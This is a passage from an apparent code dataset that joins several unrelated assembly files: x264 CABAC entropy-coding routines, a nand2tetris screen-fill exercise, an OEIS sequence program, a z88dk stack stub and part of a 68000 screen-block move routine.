HIGH_BIT_DEPTH\nCOEFF_LAST_TABLE avx512, avx512, avx512, avx512\n%else\nCOEFF_LAST_TABLE avx512, lzcnt, avx512, avx512\n%endif\n%endif\n\ncoeff_abs_level1_ctx: db 1, 2, 3, 4, 0, 0, 0, 0\ncoeff_abs_levelgt1_ctx: db 5, 5, 5, 5, 6, 7, 8, 9\ncoeff_abs_level_transition: db 1, 2, 3, 3, 4, 5, 6, 7\n db 4, 4, 4, 4, 5, 6, 7, 7\n\nSECTION .text\n\ncextern_common cabac_range_lps\ncextern_common cabac_transition\ncextern_common cabac_renorm_shift\ncextern_common cabac_entropy\ncextern cabac_size_unary\ncextern cabac_transition_unary\ncextern_common significant_coeff_flag_offset\ncextern_common significant_coeff_flag_offset_8x8\ncextern_common last_coeff_flag_offset\ncextern_common last_coeff_flag_offset_8x8\ncextern_common coeff_abs_level_m1_offset\ncextern_common count_cat_m1\ncextern cabac_encode_ue_bypass\n\n%if ARCH_X86_64\n %define pointer resq\n%else\n %define pointer resd\n%endif\n\nstruc cb\n .low: resd 1\n .range: resd 1\n .queue: resd 1\n .bytes_outstanding: resd 1\n .start: pointer 1\n .p: pointer 1\n .end: pointer 1\n align 64, resb 1\n .bits_encoded: resd 1\n .state: resb 1024\nendstruc\n\n%macro LOAD_GLOBAL 3-5 0 ; dst, base, off1, off2, tmp\n%if ARCH_X86_64 == 0\n movzx %1, byte [%2+%3+%4]\n%elifidn %4, 0\n movzx %1, byte [%2+%3+r7-$$]\n%else\n lea %5, [r7+%4]\n movzx %1, byte [%2+%3+%5-$$]\n%endif\n%endmacro\n\n%macro CABAC 1\n; t3 must be ecx, since it's used for shift.\n%if WIN64\n DECLARE_REG_TMP 3,1,2,0,5,6,4,4\n%elif ARCH_X86_64\n DECLARE_REG_TMP 0,1,2,3,4,5,6,6\n%else\n DECLARE_REG_TMP 0,4,2,1,3,5,6,2\n%endif\n\ncglobal cabac_encode_decision_%1, 1,7\n movifnidn t1d, r1m\n mov t5d, [r0+cb.range]\n movzx t6d, byte [r0+cb.state+t1]\n movifnidn t0, r0 ; WIN64\n mov t4d, ~1\n mov t3d, t5d\n and t4d, t6d\n shr t5d, 6\n movifnidn t2d, r2m\n%if WIN64\n PUSH r7\n%endif\n%if ARCH_X86_64\n lea r7, [$$]\n%endif\n LOAD_GLOBAL t5d, cabac_range_lps-4, t5, t4*2, t4\n LOAD_GLOBAL t4d, cabac_transition, t2, t6*2, t4\n and t6d, 1\n sub t3d, t5d\n cmp t6d, t2d\n mov t6d, [t0+cb.low]\n lea t2, [t6+t3]\n cmovne t3d, t5d\n cmovne t6d, t2d\n mov [t0+cb.state+t1], t4b\n;cabac_encode_renorm\n mov t4d, t3d\n%ifidn %1, bmi2\n lzcnt t3d, t3d\n sub t3d, 23\n shlx t4d, t4d, t3d\n shlx t6d, t6d, t3d\n%else\n shr t3d, 3\n LOAD_GLOBAL t3d, cabac_renorm_shift, t3\n shl t4d, t3b\n shl t6d, t3b\n%endif\n%if WIN64\n POP r7\n%endif\n mov [t0+cb.range], t4d\n add t3d, [t0+cb.queue]\n jge cabac_putbyte_%1\n.update_queue_low:\n mov [t0+cb.low], t6d\n mov [t0+cb.queue], t3d\n RET\n\ncglobal cabac_encode_bypass_%1, 2,3\n mov t7d, [r0+cb.low]\n and r1d, [r0+cb.range]\n lea t7d, [t7*2+r1]\n movifnidn t0, r0 ; WIN64\n mov t3d, [r0+cb.queue]\n inc t3d\n%if ARCH_X86_64 ; .putbyte compiles to nothing but a jmp\n jge cabac_putbyte_%1\n%else\n jge .putbyte\n%endif\n mov [t0+cb.low], t7d\n mov [t0+cb.queue], t3d\n RET\n%if ARCH_X86_64 == 0\n.putbyte:\n PROLOGUE 0,7\n movifnidn t6d, t7d\n jmp cabac_putbyte_%1\n%endif\n\n%ifnidn %1,bmi2\ncglobal cabac_encode_terminal_%1, 1,3\n sub dword [r0+cb.range], 2\n; shortcut: the renormalization shift in terminal\n; can only be 0 or 1 and is zero over 99% of the time.\n test dword [r0+cb.range], 0x100\n je .renorm\n RET\n.renorm:\n shl dword [r0+cb.low], 1\n shl dword [r0+cb.range], 1\n inc dword [r0+cb.queue]\n jge .putbyte\n RET\n.putbyte:\n PROLOGUE 0,7\n movifnidn t0, r0 ; WIN64\n mov t3d, [r0+cb.queue]\n mov t6d, [t0+cb.low]\n%endif\n\ncabac_putbyte_%1:\n ; alive: t0=cb t3=queue t6=low\n%if WIN64\n DECLARE_REG_TMP 3,6,1,0,2,5,4\n%endif\n%ifidn %1, bmi2\n add t3d, 10\n shrx t2d, t6d, t3d\n bzhi t6d, t6d, t3d\n sub t3d, 18\n%else\n mov t1d, -1\n add t3d, 10\n mov t2d, t6d\n shl t1d, t3b\n shr t2d, t3b ; out\n not t1d\n sub t3d, 18\n and t6d, t1d\n%endif\n mov t5d, [t0+cb.bytes_outstanding]\n cmp t2b, 0xff ; FIXME is a 32bit op faster?\n jz .postpone\n mov t1, [t0+cb.p]\n add [t1-1], t2h\n dec t2h\n.loop_outstanding:\n mov [t1], t2h\n inc t1\n dec t5d\n jge .loop_outstanding\n mov [t1-1], t2b\n mov [t0+cb.p], t1\n.postpone:\n inc t5d\n mov [t0+cb.bytes_outstanding], t5d\n jmp mangle(private_prefix %+ _cabac_encode_decision_%1.update_queue_low)\n%endmacro\n\nCABAC asm\nCABAC bmi2\n\n%if ARCH_X86_64\n; %1 = label name\n; %2 = node_ctx init?\n%macro COEFF_ABS_LEVEL_GT1 2\n%if %2\n %define ctx 1\n%else\n movzx r11d, byte [coeff_abs_level1_ctx+r2 GLOBAL]\n %define ctx r11\n%endif\n movzx r9d, byte [r8+ctx]\n; if( coeff_abs > 1 )\n cmp r1d, 1\n jg .%1_gt1\n; x264_cabac_encode_decision( cb, ctx_level+ctx, 0 )\n movzx r10d, byte [cabac_transition+r9*2 GLOBAL]\n movzx r9d, word [cabac_entropy+r9*2 GLOBAL]\n lea r0d, [r0+r9+256]\n mov [r8+ctx], r10b\n%if %2\n mov r2d, 1\n%else\n movzx r2d, byte [coeff_abs_level_transition+r2 GLOBAL]\n%endif\n jmp .%1_end\n\n.%1_gt1:\n; x264_cabac_encode_decision( cb, ctx_level+ctx, 1 )\n movzx r10d, byte [cabac_transition+r9*2+1 GLOBAL]\n xor r9d, 1\n movzx r9d, word [cabac_entropy+r9*2 GLOBAL]\n mov [r8+ctx], r10b\n add r0d, r9d\n%if %2\n %define ctx 5\n%else\n movzx r11d, byte [coeff_abs_levelgt1_ctx+r2 GLOBAL]\n %define ctx r11\n%endif\n; if( coeff_abs < 15 )\n cmp r1d, 15\n jge .%1_escape\n shl r1d, 7\n; x264_cabac_transition_unary[coeff_abs-1][cb->state[ctx_level+ctx]]\n movzx r9d, byte [r8+ctx]\n add r9d, r1d\n movzx r10d, byte [cabac_transition_unary-128+r9 GLOBAL]\n; x264_cabac_size_unary[coeff_abs-1][cb->state[ctx_level+ctx]]\n movzx r9d, word [cabac_size_unary-256+r9*2 GLOBAL]\n mov [r8+ctx], r10b\n add r0d, r9d\n jmp .%1_gt1_end\n\n.%1_escape:\n; x264_cabac_transition_unary[14][cb->state[ctx_level+ctx]]\n movzx r9d, byte [r8+ctx]\n movzx r10d, byte [cabac_transition_unary+128*14+r9 GLOBAL]\n; x264_cabac_size_unary[14][cb->state[ctx_level+ctx]]\n movzx r9d, word [cabac_size_unary+256*14+r9*2 GLOBAL]\n add r0d, r9d\n mov [r8+ctx], r10b\n sub r1d, 14\n%if cpuflag(lzcnt)\n lzcnt r9d, r1d\n xor r9d, 0x1f\n%else\n bsr r9d, r1d\n%endif\n; bs_size_ue_big(coeff_abs-15)<<8\n shl r9d, 9\n; (ilog2(coeff_abs-14)+1) << 8\n lea r0d, [r0+r9+256]\n.%1_gt1_end:\n%if %2\n mov r2d, 4\n%else\n movzx r2d, byte [coeff_abs_level_transition+8+r2 GLOBAL]\n%endif\n.%1_end:\n%endmacro\n\n%macro LOAD_DCTCOEF 1\n%if HIGH_BIT_DEPTH\n mov %1, [dct+r6*4]\n%else\n movzx %1, word [dct+r6*2]\n%endif\n%endmacro\n\n%macro ABS_DCTCOEFS 2\n%if HIGH_BIT_DEPTH\n %define %%abs ABSD\n%else\n %define %%abs ABSW\n%endif\n%if mmsize == %2*SIZEOF_DCTCOEF\n %%abs m0, [%1], m1\n mova [rsp], m0\n%elif mmsize == %2*SIZEOF_DCTCOEF\/2\n %%abs m0, [%1+0*mmsize], m2\n %%abs m1, [%1+1*mmsize], m3\n mova [rsp+0*mmsize], m0\n mova [rsp+1*mmsize], m1\n%else\n%assign i 0\n%rep %2*SIZEOF_DCTCOEF\/(4*mmsize)\n %%abs m0, [%1+(4*i+0)*mmsize], m4\n %%abs m1, [%1+(4*i+1)*mmsize], m5\n %%abs m2, [%1+(4*i+2)*mmsize], m4\n %%abs m3, [%1+(4*i+3)*mmsize], m5\n mova [rsp+(4*i+0)*mmsize], m0\n mova [rsp+(4*i+1)*mmsize], m1\n mova [rsp+(4*i+2)*mmsize], m2\n mova [rsp+(4*i+3)*mmsize], m3\n%assign i i+1\n%endrep\n%endif\n%endmacro\n\n%macro SIG_OFFSET 1\n%if %1\n movzx r11d, byte [r4+r6]\n%endif\n%endmacro\n\n%macro LAST_OFFSET 1\n%if %1\n movzx r11d, byte [last_coeff_flag_offset_8x8+r6 GLOBAL]\n%endif\n%endmacro\n\n%macro COEFF_LAST 2 ; table, ctx_block_cat\n lea r1, [%1 GLOBAL]\n movsxd r6, [r1+4*%2]\n add r6, r1\n call r6\n%endmacro\n\n;-----------------------------------------------------------------------------\n; void x264_cabac_block_residual_rd_internal_sse2 ( dctcoef *l, int b_interlaced,\n; int ctx_block_cat, x264_cabac_t *cb );\n;-----------------------------------------------------------------------------\n\n;%1 = 8x8 mode\n%macro CABAC_RESIDUAL_RD 2\n%if %1\n %define func cabac_block_residual_8x8_rd_internal\n %define maxcoeffs 64\n %define dct rsp\n%else\n %define func cabac_block_residual_rd_internal\n %define maxcoeffs 16\n %define dct r4\n%endif\n\ncglobal func, 4,13,6,-maxcoeffs*SIZEOF_DCTCOEF\n lea r12, [$$]\n %define GLOBAL +r12-$$\n shl r1d, 4 ; MB_INTERLACED*16\n%if %1\n lea r4, [significant_coeff_flag_offset_8x8+r1*4 GLOBAL] ; r12 = sig offset 8x8\n%endif\n add r1d, r2d\n movzx r5d, word [significant_coeff_flag_offset+r1*2 GLOBAL] ; r5 = ctx_sig\n movzx r7d, word [last_coeff_flag_offset+r1*2 GLOBAL] ; r7 = ctx_last\n movzx r8d, word [coeff_abs_level_m1_offset+r2*2 GLOBAL] ; r8 = ctx_level\n\n; abs() all the coefficients; copy them to the stack to avoid\n; changing the originals.\n; overreading is okay; it's all valid aligned data anyways.\n%if %1\n ABS_DCTCOEFS r0, 64\n%else\n mov r4, r0 ; r4 = dct\n and r4, ~SIZEOF_DCTCOEF ; handle AC coefficient case\n ABS_DCTCOEFS r4, 16\n xor r4, r0 ; calculate our new dct pointer\n add r4, rsp ; restore AC coefficient offset\n%endif\n; for improved OOE performance, run coeff_last on the original coefficients.\n COEFF_LAST %2, r2 ; coeff_last[ctx_block_cat]( dct )\n; we know on 64-bit that the SSE2 versions of this function only\n; overwrite r0, r1, and rax (r6). last64 overwrites r2 too, but we\n; don't need r2 in 8x8 mode.\n mov r0d, [r3+cb.bits_encoded] ; r0 = cabac.f8_bits_encoded\n; pre-add some values to simplify addressing\n add r3, cb.state\n add r5, r3\n add r7, r3\n add r8, r3 ; precalculate cabac state pointers\n\n; if( last != count_cat_m1[ctx_block_cat] )\n%if %1\n cmp r6b, 63\n%else\n cmp r6b, [count_cat_m1+r2 GLOBAL]\n%endif\n je .skip_last_sigmap\n\n; in 8x8 mode we have to do a bit of extra calculation for ctx_sig\/last,\n; so we'll use r11 for this.\n%if %1\n %define siglast_ctx r11\n%else\n %define siglast_ctx r6\n%endif\n\n; x264_cabac_encode_decision( cb, ctx_sig + last, 1 )\n; x264_cabac_encode_decision( cb, ctx_last + last, 1 )\n SIG_OFFSET %1\n movzx r1d, byte [r5+siglast_ctx]\n movzx r9d, byte [cabac_transition+1+r1*2 GLOBAL]\n xor r1d, 1\n movzx r1d, word [cabac_entropy+r1*2 GLOBAL]\n mov [r5+siglast_ctx], r9b\n add r0d, r1d\n\n LAST_OFFSET %1\n movzx r1d, byte [r7+siglast_ctx]\n movzx r9d, byte [cabac_transition+1+r1*2 GLOBAL]\n xor r1d, 1\n movzx r1d, word [cabac_entropy+r1*2 GLOBAL]\n mov [r7+siglast_ctx], r9b\n add r0d, r1d\n.skip_last_sigmap:\n LOAD_DCTCOEF r1d\n COEFF_ABS_LEVEL_GT1 last, 1\n; for( int i = last-1 ; i >= 0; i-- )\n dec r6d\n jl .end\n.coeff_loop:\n LOAD_DCTCOEF r1d\n; if( l[i] )\n SIG_OFFSET %1\n movzx r9d, byte [r5+siglast_ctx]\n test r1d, r1d\n jnz .coeff_nonzero\n; x264_cabac_encode_decision( cb, ctx_sig + i, 0 )\n movzx r10d, byte [cabac_transition+r9*2 GLOBAL]\n movzx r9d, word [cabac_entropy+r9*2 GLOBAL]\n mov [r5+siglast_ctx], r10b\n add r0d, r9d\n dec r6d\n jge .coeff_loop\n jmp .end\n.coeff_nonzero:\n; x264_cabac_encode_decision( cb, ctx_sig + i, 1 )\n movzx r10d, byte [cabac_transition+r9*2+1 GLOBAL]\n xor r9d, 1\n movzx r9d, word [cabac_entropy+r9*2 GLOBAL]\n mov [r5+siglast_ctx], r10b\n add r0d, r9d\n; x264_cabac_encode_decision( cb, ctx_last + i, 0 );\n LAST_OFFSET %1\n movzx r9d, byte [r7+siglast_ctx]\n movzx r10d, byte [cabac_transition+r9*2 GLOBAL]\n movzx r9d, word [cabac_entropy+r9*2 GLOBAL]\n mov [r7+siglast_ctx], r10b\n add r0d, r9d\n COEFF_ABS_LEVEL_GT1 coeff, 0\n dec r6d\n jge .coeff_loop\n.end:\n mov [r3+cb.bits_encoded-cb.state], r0d\n RET\n%endmacro\n\nINIT_XMM sse2\nCABAC_RESIDUAL_RD 0, coeff_last_sse2\nCABAC_RESIDUAL_RD 1, coeff_last_sse2\nINIT_XMM lzcnt\nCABAC_RESIDUAL_RD 0, coeff_last_lzcnt\nCABAC_RESIDUAL_RD 1, coeff_last_lzcnt\nINIT_XMM ssse3\nCABAC_RESIDUAL_RD 0, coeff_last_sse2\nCABAC_RESIDUAL_RD 1, coeff_last_sse2\nINIT_XMM ssse3,lzcnt\nCABAC_RESIDUAL_RD 0, coeff_last_lzcnt\nCABAC_RESIDUAL_RD 1, coeff_last_lzcnt\n%if HIGH_BIT_DEPTH\nINIT_ZMM avx512\n%else\nINIT_YMM avx512\n%endif\nCABAC_RESIDUAL_RD 0, coeff_last_avx512\nINIT_ZMM avx512\nCABAC_RESIDUAL_RD 1, coeff_last_avx512\n\n;-----------------------------------------------------------------------------\n; void x264_cabac_block_residual_internal_sse2 ( dctcoef *l, int b_interlaced,\n; int ctx_block_cat, x264_cabac_t *cb );\n;-----------------------------------------------------------------------------\n\n%macro CALL_CABAC 0\n%if cpuflag(bmi2)\n call cabac_encode_decision_bmi2\n%else\n call cabac_encode_decision_asm\n%endif\n%if WIN64 ; move cabac back\n mov r0, r3\n%endif\n%endmacro\n\n; %1 = 8x8 mode\n; %2 = dct register\n; %3 = countcat\n; %4 = name\n%macro SIGMAP_LOOP 3-4\n.sigmap_%4loop:\n%if HIGH_BIT_DEPTH\n mov %2, [dct+r10*4]\n%else\n movsx %2, word [dct+r10*2]\n%endif\n%if %1\n movzx r1d, byte [sigoff_8x8 + r10]\n add r1d, sigoffd\n%else\n lea r1d, [sigoffd + r10d]\n%endif\n test %2, %2\n jz .sigmap_%4zero ; if( l[i] )\n inc coeffidxd\n mov [coeffs+coeffidxq*4], %2 ; coeffs[++coeff_idx] = l[i];\n mov r2d, 1\n CALL_CABAC ; x264_cabac_encode_decision( cb, ctx_sig + sig_off, 1 );\n%if %1\n movzx r1d, byte [last_coeff_flag_offset_8x8 + r10 GLOBAL]\n add r1d, lastoffd\n%else\n lea r1d, [lastoffd + r10d]\n%endif\n cmp r10d, lastm ; if( i == last )\n je .sigmap_%4last\n xor r2d, r2d\n CALL_CABAC ; x264_cabac_encode_decision( cb, ctx_last + last_off, 0 );\n jmp .sigmap_%4loop_endcheck\n.sigmap_%4zero:\n xor r2d, r2d\n CALL_CABAC ; x264_cabac_encode_decision( cb, ctx_sig + sig_off, 0 );\n.sigmap_%4loop_endcheck:\n inc r10d\n cmp r10d, %3\n jne .sigmap_%4loop ; if( ++i == count_m1 )\n%if HIGH_BIT_DEPTH\n mov %2, [dct+r10*4]\n%else\n movsx %2, word [dct+r10*2]\n%endif\n inc coeffidxd\n mov [coeffs+coeffidxq*4], %2 ; coeffs[++coeff_idx] = l[i]\n jmp .sigmap_%4end\n.sigmap_%4last: ; x264_cabac_encode_decision( cb, ctx_last + last_off, 1 );\n mov r2d, 1\n CALL_CABAC\n.sigmap_%4end:\n%if %1==0\n jmp .level_loop_start\n%endif\n%endmacro\n\n%macro CABAC_RESIDUAL 1\ncglobal cabac_block_residual_internal, 4,15,0,-4*64\n; if we use the same r7 as in cabac_encode_decision, we can cheat and save a register.\n lea r7, [$$]\n %define lastm [rsp+4*1]\n %define GLOBAL +r7-$$\n shl r1d, 4\n\n %define sigoffq r8\n %define sigoffd r8d\n %define lastoffq r9\n %define lastoffd r9d\n %define leveloffq r10\n %define leveloffd r10d\n %define leveloffm [rsp+4*0]\n %define countcatd r11d\n %define sigoff_8x8 r12\n %define coeffidxq r13\n %define coeffidxd r13d\n %define dct r14\n %define coeffs rsp+4*2\n\n lea sigoff_8x8, [significant_coeff_flag_offset_8x8+r1*4 GLOBAL]\n add r1d, r2d\n movzx sigoffd, word [significant_coeff_flag_offset+r1*2 GLOBAL]\n movzx lastoffd, word [last_coeff_flag_offset+r1*2 GLOBAL]\n movzx leveloffd, word [coeff_abs_level_m1_offset+r2*2 GLOBAL]\n movzx countcatd, byte [count_cat_m1+r2 GLOBAL]\n mov coeffidxd, -1\n mov dct, r0\n mov leveloffm, leveloffd\n\n COEFF_LAST %1, r2\n mov lastm, eax\n; put cabac in r0; needed for cabac_encode_decision\n mov r0, r3\n\n xor r10d, r10d\n cmp countcatd, 63\n je .sigmap_8x8\n SIGMAP_LOOP 0, r12d, countcatd\n.sigmap_8x8:\n SIGMAP_LOOP 1, r11d, 63, _8x8\n.level_loop_start:\n; we now have r8, r9, r11, r12, and r7\/r14(dct) free for the main loop.\n %define nodectxq r8\n %define nodectxd r8d\n mov leveloffd, leveloffm\n xor nodectxd, nodectxd\n.level_loop:\n mov r9d, [coeffs+coeffidxq*4]\n mov r11d, r9d\n sar r11d, 31\n add r9d, r11d\n movzx r1d, byte [coeff_abs_level1_ctx+nodectxq GLOBAL]\n xor r9d, r11d\n add r1d, leveloffd\n cmp r9d, 1\n jg .level_gt1\n xor r2d, r2d\n CALL_CABAC\n movzx nodectxd, byte [coeff_abs_level_transition+nodectxq GLOBAL]\n jmp .level_sign\n.level_gt1:\n mov r2d, 1\n CALL_CABAC\n movzx r14d, byte [coeff_abs_levelgt1_ctx+nodectxq GLOBAL]\n add r14d, leveloffd\n cmp r9d, 15\n mov r12d, 15\n cmovl r12d, r9d\n sub r12d, 2\n jz .level_eq2\n.level_gt1_loop:\n mov r1d, r14d\n mov r2d, 1\n CALL_CABAC\n dec r12d\n jg .level_gt1_loop\n cmp r9d, 15\n jge .level_bypass\n.level_eq2:\n mov r1d, r14d\n xor r2d, r2d\n CALL_CABAC\n jmp .level_gt1_end\n.level_bypass:\n lea r2d, [r9d-15]\n xor r1d, r1d\n push r0\n; we could avoid this if we implemented it in asm, but I don't feel like that\n; right now.\n%if UNIX64\n push r7\n push r8\n%else\n sub rsp, 40 ; shadow space and alignment\n%endif\n call cabac_encode_ue_bypass\n%if UNIX64\n pop r8\n pop r7\n%else\n add rsp, 40\n%endif\n pop r0\n.level_gt1_end:\n movzx nodectxd, byte [coeff_abs_level_transition+8+nodectxq GLOBAL]\n.level_sign:\n mov r1d, r11d\n%if cpuflag(bmi2)\n call cabac_encode_bypass_bmi2\n%else\n call cabac_encode_bypass_asm\n%endif\n%if WIN64\n mov r0, r3\n%endif\n dec coeffidxd\n jge .level_loop\n RET\n%endmacro\n\nINIT_XMM sse2\nCABAC_RESIDUAL coeff_last_sse2\nINIT_XMM lzcnt\nCABAC_RESIDUAL coeff_last_lzcnt\nINIT_XMM avx2\nCABAC_RESIDUAL coeff_last_avx2\nINIT_XMM avx512\nCABAC_RESIDUAL coeff_last_avx512\n%endif\n","avg_line_length":26.7841352406,"max_line_length":97,"alphanum_fraction":0.624411322} {"size":1085,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"\/\/ This file is part of www.nand2tetris.org\n\/\/ and the book \"The Elements of Computing Systems\"\n\/\/ by Nisan and Schocken, MIT Press.\n\/\/ File name: projects\/04\/Fill.asm\n\n\/\/ Runs an infinite loop that listens to the keyboard input. \n\/\/ When a key is pressed (any key), the program blackens the screen,\n\/\/ i.e. writes \"black\" in every pixel. When no key is pressed, the\n\/\/ program clears the screen, i.e. writes \"white\" in every pixel.\n\n\/\/ Put your code here.\n(INIT)\n\t@8192\n\tD=A\n\t@maxLine\n\tM=D\n\n(SET)\n\t\/\/ set up counter\n\t@maxLine\n\tD=M\n\t@counter\n\tM=D\n\t\/\/ set up ptrScreen\n\t@SCREEN\n\tD=A\n\t@ptrScreen\n\tM=D\n\t(LINE1)\n\t\t\/\/ iteration\n\t\t@ptrScreen\n\t\tA=M\n\t\tM=-1\n\t\t\/\/ incrementation\n\t\t@ptrScreen\n\t\tM=M+1\n\t\t@counter\n\t\tM=M-1\n\t\tD=M\n\t\t@LINE1\n\t\tD; JNE\n(PRESSED)\n\t@KBD\n\tD=M\n\t@PRESSED\n\tD; JNE\n\t\/\/ JUMP UNSET\n(UNSET)\n\t\/\/ set up counter\n\t@maxLine\n\tD=M\n\t@counter\n\tM=D\n\t\/\/ set up ptrScreen\n\t@SCREEN\n\tD=A\n\t@ptrScreen\n\tM=D\n\t(LINE2)\n\t\t\/\/ iteration\n\t\t@ptrScreen\n\t\tA=M\n\t\tM=0\n\t\t\/\/ incrementation\n\t\t@ptrScreen\n\t\tM=M+1\n\t\t@counter\n\t\tM=M-1\n\t\tD=M\n\t\t@LINE2\n\t\tD; JNE\n(UNPRESSED)\n\t@KBD\n\tD=M\n\t@UNPRESSED\n\tD; JEQ\n\t@SET\n\t0; JEQ","avg_line_length":13.9102564103,"max_line_length":68,"alphanum_fraction":0.6405529954} {"size":981,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A074529: a(n) = 2^n + 3^n + 7^n.\n; 3,12,62,378,2498,17082,118442,825858,5771618,40373802,282535322,1977505938,13841822738,96890612922,678227872202,4747575891618,33232973681858,232630643258442,1628413985593082,11398896348158898,79792269785444978,558545874545734362,3909821079968241962,27368747434232483778,191581231663012728098,1341068620511287064682,9387480340189687242842,65712362371160011842258,459986536567617021867218,3219905755881810641073402,22539340290898150293699722,157775382035463482158810338,1104427674245773670789118338,7730993719713003593293584522,54116956037968788867839196602,378818692265714813262176364018,2651730845859803566483039857458,18562115921018024586496493622042,129934811447124370969164696597482,909543680129865193375907794679298,6366805760909040143407993707780578,44567640326363232373188622168609962,311973482284542480720323851380846362\n\nmov $3,$0\nseq $0,74509 ; a(n) = 1^n + 3^n + 7^n.\nadd $0,6\nmov $4,2\npow $4,$3\nmov $2,$4\nadd $2,2\nadd $0,$2\nsub $0,9\n","avg_line_length":75.4615384615,"max_line_length":829,"alphanum_fraction":0.873598369} {"size":192,"ext":"asm","lang":"Assembly","max_stars_count":8.0,"content":"\n; size_t wv_stack_capacity(wv_stack_t *s)\n\nSECTION code_clib\nSECTION code_adt_wv_stack\n\nPUBLIC wv_stack_capacity\n\nEXTERN asm_wv_stack_capacity\n\ndefc wv_stack_capacity = asm_wv_stack_capacity\n","avg_line_length":16.0,"max_line_length":46,"alphanum_fraction":0.8645833333} {"size":8358,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"; Move area (generalised PAN\/SCROLL) V2.01  Tony Tebby\n;\t\t\t\t\t\tJonathan Oakley\n;\t 2.01\t FD\t REMOVED REFERENCES TO MOVEP for Q60\/Q40\n;\t 2.02\tadded pt_cmbblk (wl)\n\n\tsection con\n;\n\txref\tcn_maskl\n\txref\tcn_maskr\n;\n\txdef\tcn_mblock\n\txdef\tpt_mblock\n\txdef\tpt_cmbblk\n;\n;\td1 c\tsize of section to move\n;\td2 c\told origin in source area\n;\td3 c\tnew origin in destination area\n;\ta2 c\trow increment of source area\n;\ta3 c\trow increment of destination area\n;\ta4 c\tbase address of source area\n;\ta5 c\tbase address of destination area\n;\ta6\/a7\tpreserved\n;\npt_mblock\ncn_mblock\npt_cmbblk\n\tmove.w\ta2,d0\t\tcalculate source address\n\tmulu\td2,d0\t\trow address\n\tadd.l\td0,a4\n\tswap\td2\t\tnow column\n\tmove.w\td2,d0\n\tlsr.w\t#3,d0\t\tshift out bits\n\tadd.w\td0,a4\t\tand set column address\n\tadd.w\td0,a4\n\n\tmove.w\ta3,d0\t\tcalculate destination address\n\tmulu\td3,d0\t\trow address\n\tadd.l\td0,a5\n\tswap\td3\t\tnow column\n\tmove.w\td3,d0\n\tlsr.w\t#3,d0\t\tshift out bits\n\tadd.w\td0,a5\t\tand set column address\n\tadd.w\td0,a5\n\n\tmoveq\t#0,d4\n\tmove.w\td3,d4\t\tset pixel offset\n\tsub.w\td2,d4\n\n\tmoveq\t#%111,d0\tget start pixel $$$\n\tand.w\td3,d0\n\tmove.l\td1,d5\t\twidth\n\tswap\td5\n;;\t add.w #16,d5\t\t $$$\n\tadd.w\td0,d5\t\tend pixel\n\tmoveq\t#%1111,d2\tget end pixel (in long word)\n\tand.w\td5,d2\n\tadd.w\t#$f,d5\t\tround up to long word $$$\n\tlsr.w\t#4,d5\t\tlength\n\tbeq.l\tpmw_done\tnone\n\n\tmove.w\td1,d3\t\tnumber of rows\n\tsubq.w\t#1,d3\n\tbeq.l\tpmw_done\tnone\n\n\tand.w\t#%0111,d4\tset pan distance $$$\n\tbne.l\tpmw_pan \t... there is a bit\n\n\tjsr\tcn_maskl(pc)\tset left hand mask\n\n\tmove.w\td2,d0\n\tjsr\tcn_maskr(pc)\tset right hand mask\n\n\tcmp.l\ta4,a5\t\tis it up?\n\tbgt.s\tpmw_down\tno\n\n; simple operations: no pan or pan by word increment\n;\n;\td3\trow count-1\n;\td5\tlong word count in row (-2)\n;\td6\tfirst edge mask (long word, screen format)\n;\td7\tsecond edge mask (long word, screen format)\n;\ta2\trow increment (source)\n;\ta3\trow increment (destination)\n;\ta4\tsource window address\n;\ta5\tdestination window address\n;\n; move up\n;\npmw_up\n\tmove.w\td5,d1\t\tadjust increments\n\tlsl.w\t#2,d1\n\tsub.w\td1,a2\n\tsub.w\td1,a3\n;\n\tsubq.w\t#2,d5\t\tdo masks overlap?\n\tbge.s\tpmw_uploop\tno\n\tand.l\td7,d6\t\tyes, combine masks\n;\npmw_uploop\n\tbsr.s\tpmw_suedge\tdo edge for scroll\n;\n\tmove.w\td5,d0\t\tset number of long words to copy\n\tblt.s\tpmw_uplend\tone edge only\n\n\tmoveq\t#3,d1\t\tdo by four long words\n\tand.w\td0,d1\n\tlsr.w\t#2,d0\n\tneg.w\td1\n\tadd.w\td1,d1\n\tjmp\tpmw_urlend(pc,d1.w)\n;\npmw_urloop\n\tmove.l\t(a4)+,(a5)+\tcopy all of row\n\tmove.l\t(a4)+,(a5)+\tcopy all of row\n\tmove.l\t(a4)+,(a5)+\tcopy all of row\n\tmove.l\t(a4)+,(a5)+\tcopy all of row\npmw_urlend\n\tdbra\td0,pmw_urloop\n;\n\texg\td6,d7\t\tswap masks\n\tbsr.s\tpmw_suedge\tdo edge\n\texg\td7,d6\n;\npmw_uplend\n\tadd.l\ta2,a4\t\tmove to next row\n\tadd.l\ta3,a5\n\tdbra\td3,pmw_uploop\tand carry on\n\tbra.l\tpmw_done\n;\n; do edge for scroll up\n;\npmw_suedge\n\tmove.l\t(a4)+,d1\tget LHS\n\tand.l\td6,d1\t\tmask edge\n\tmove.l\t(a5),d0 \tget old screen contents\n\tnot.l\td6\t\tinvert mask\n\tand.l\td6,d0\t\tmask edge\n\tnot.l\td6\n\tor.l\td0,d1\n\tmove.l\td1,(a5)+\tset edge\n\trts\n;\n; move down\n;\npmw_down\n\tmove.w\td5,d1\t\trow length\n\tlsl.w\t#2,d1\t\tin bytes\n\n\tmove.w\ta2,d0\t\tfind end\n\tmulu\td3,d0\t\tstart of last row\n\tadd.l\td0,a4\n\tadd.w\td1,a4\t\tend of last row\n\n\tmove.w\ta3,d0\t\tditto for destination\n\tmulu\td3,d0\n\tadd.l\td0,a5\n\tadd.w\td1,a5\n\n\tsub.w\td1,a2\t\tadjust increments\n\tsub.w\td1,a3\n\n\tsubq.w\t#2,d5\t\tdo masks overlap?\n\tbge.s\tpmw_dnloop\tno\n\tand.l\td6,d7\t\tyes, combine masks\n\npmw_dnloop\n\tbsr.s\tpmw_sdedge\tdo edge\n\n\tmove.w\td5,d0\n\tblt.s\tpmw_dnlend\n\n\tmoveq\t#3,d1\t\tdo by four long words\n\tand.w\td0,d1\n\tlsr.w\t#2,d0\n\tneg.w\td1\n\tadd.w\td1,d1\n\tjmp\tpmw_drlend(pc,d1.w)\n\npmw_drloop\n\tmove.l\t-(a4),-(a5)\tcopy all of row\n\tmove.l\t-(a4),-(a5)\tcopy all of row\n\tmove.l\t-(a4),-(a5)\tcopy all of row\n\tmove.l\t-(a4),-(a5)\tcopy all of 